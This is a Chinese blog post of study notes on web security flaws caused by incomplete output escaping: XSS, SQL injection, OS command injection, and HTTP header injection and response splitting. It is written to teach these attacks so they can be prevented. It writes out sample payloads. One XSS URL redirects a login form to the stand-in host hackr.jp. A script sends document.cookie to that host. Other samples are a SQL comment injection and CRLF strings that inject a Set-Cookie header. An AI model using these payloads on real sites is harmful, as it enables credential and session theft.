HTTP基础10--web(2)

因输出值转义不完全引发的安全漏洞###

实施 Web 应用的安全对策可大致分为以下两部分。

  • 客户端的验证

  • Web 应用端（服务器端）的验证: 输入值验证 / 输出值转义

  • 客户端允许篡改数据或关闭 JavaScript，不适合将 JavaScript 验证作为安全的防范对策。保留客户端验证只是为了尽早地辨识输入错误，起到提高 UI 体验的作用。

  • Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。

  • 从数据库或文件系统、HTML、邮件等输出 Web 应用处理的数据之际，针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时，会因触发攻击者传入的攻击代码，而给输出对象带来损害。

跨站脚本攻击###

跨站脚本攻击（Cross-Site Scripting，XSS）是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。就这样，攻击者编写脚本设下陷阱，用户在自己的浏览器上运行时，一不小心就会受到被动攻击。

跨站脚本攻击有可能造成以下影响。

  • 利用虚假输入表单骗取用户个人信息。

  • 利用脚本窃取用户的 Cookie 值，被害者在不知情的情况下，帮助攻击者发送恶意请求。

  • 显示伪造的文章或图片。

跨站脚本攻击案例###

  • 在动态生成 HTML 处发生:###

  • XSS 是攻击者利用预先设置的陷阱触发的被动攻击###

下图网站通过地址栏中 URI 的查询字段指定 ID，即相当于在表单内自动填写字符串的功能。而就在这个地方，隐藏着可执行跨站脚本攻击的漏洞。

隐藏植入事先准备好的欺诈邮件中或 Web 页面内，诱使用户去点击该 URL。

http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="

浏览器打开该 URI 后，直观感觉没有发生任何变化，但设置好的脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码之后，就会直接发送到攻击者的网站（也就是 hackr.jp），导致个人登录信息被窃取。

之后，ID 及密码会传给该正规网站，而接下来仍然是按正常登录步骤，用户很难意识到自己的登录信息已遭泄露。

除了在表单中设下圈套之外，下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式，窃取到用户的 Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

该脚本内指定的 http://hackr.jp/xss.js 文件。即下面这段采用 JavaScript 编写的代码。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段 JavaScript 程序，即可访问到该 Web 应用所处域名下的 Cookie 信息。然 后这些信息会发送至攻击者的 Web 网站（http://hackr.jp/），记录在他的登录日志中。结果，攻击者就这样窃取到用户的 Cookie 信息了。

  • SQL 注入攻击###

指针对 Web 应用使用的数据库，通过运行非法的 SQL 而产生的攻击;如果在调用 SQL 语句的方式上存在疏漏，就有可能执行被恶意注入（Injection）非法 SQL 语句。

SQL 注入攻击有可能会造成以下等影响。

  • 非法查看或篡改数据库内的数据

  • 规避认证

  • 执行和数据库服务器业务关联的程序等

SQL 注入攻击案例###

下面以某个购物网站的搜索功能为例，讲解 SQL 注入攻击。通过该功能，我们可以将某作者的名字作为搜索关键字，查找该作者的所有著作。

  • 正常处理的操作示例

URL 的查询字段已指定 q= 上野宣，这个值由 Web 应用传入到 SQL 语句中，构成下方的 SQL 语句。

SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;

该 SQL 语句表示“从 bookTbl 表中，显示满足 author= 上野宣 and flag=1（可售）所在行的数据”。

  • SQL 注入攻击的操作示例

把刚才指定查询字段的上野宣改写成“上野宣'--”。

构成的 SQL 语句就变成“从数据库的 bookTbl 表中，显示满足 author= 上野宣条件所在行的数据”，如下所示。

SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;

SQL 语句中的 -- 之后全视为注释。即，and flag=1 这个条件被自动忽略了。

OS 命令注入攻击###

指通过 Web 应用，执行非法的操作系统命令达到攻击的目的。倘若调用 Shell 时存在疏漏，就可以执行插入的非法 OS 命令。

HTTP 首部注入攻击###

HTTP 首部注入攻击（HTTP Header Injection）是指攻击者通过在响应首部字段内插入换行，添加任意响应首部或主体的一种攻击。属于被动攻击模式;向首部主体内添加内容的攻击称为 HTTP 响应截断攻击（HTTP Response Splitting Attack）;如下所示，Web 应用有时会把从外部接收到的数值，赋给响应首部字段 Location 和 Set-Cookie。

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345

＊12345就是插入值

HTTP 首部注入攻击有可能会造成以下一些影响。

  • 设置任何 Cookie 信息

  • 重定向至任意 URL

  • 显示任意的主体（HTTP 响应截断攻击）

HTTP 首部注入攻击案例###

以选定某个类别后即可跳转至各类别对应页面的功能为例。该功能为每个类别都设定了一个类别 ID 值，一旦选定某类别，就会将该 ID 值反映在响应内的 Location 首部字段内，形如 Location: http://example.com/?cat=101。令浏览器发生重定 向跳转。

攻击者以下面的内容替代之前的类别 ID 后发送请求。

101%0D%0ASet-Cookie:+SID=123456789

其中，%0D%0A 代表 HTTP 报文中的换行符，紧接着的是可强制将攻击者网站（http://hackr.jp/）的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段;发送该请求之后，假设结果返回以下响应。

Location: http://example.com/?cat=101（%0D%0A ：换行符）
Set-Cookie: SID=123456789

此刻，首部字段 Set-Cookie 已生效，因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击（攻击者可使用指定的会话 ID）攻击组合，攻击者可伪装成用户;攻击者输入的 %0D%0A，原本应该属于首部字段 Location 的查询值部分，但经过解析后，%0D%0A 变成了换行符，结果插入了新的首部字段;这样一来，攻击者可在响应中插入任意的首部字段。

HTTP 响应截断攻击###

HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。攻击顺序相同，但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了，这样就能显示伪造的主体，达到攻击目的。这样的攻击叫做 HTTP 响应截断攻击。

%0D%0A%0D%0A<HTML><HEAD><TITLE>之后，想要显示的网页内容 <!--

在可能进行 HTTP 首部注入的环节，通过发送上面的字符串，返回结果得到以下这种响应。

Set-Cookie: UID=（%0D%0A ：换行符）
（%0D%0A ：换行符）
<HTML><HEAD><TITLE>之后，**想要显示的网页内容 <!--（原来页面对应的首部字段和主体部分全视为注释）

利用这个攻击，已触发陷阱的用户浏览器会显示伪造的 Web 页面，再让用户输入自己的个人信息等，可达到和跨站脚本攻击相同的效果。

另外，滥用 HTTP/1.1 中汇集多响应返回功能，会导致缓存服务器对任意内容进行缓存操作。这种攻击称为缓存污染。使用该缓存服务器的用户，在浏览遭受攻击的网站时，会不断地浏览被替换掉的 Web 网页。

posted @ 2015-02-15 15:05  JinksPeng  阅读(162)  评论(0)  编辑  收藏  举报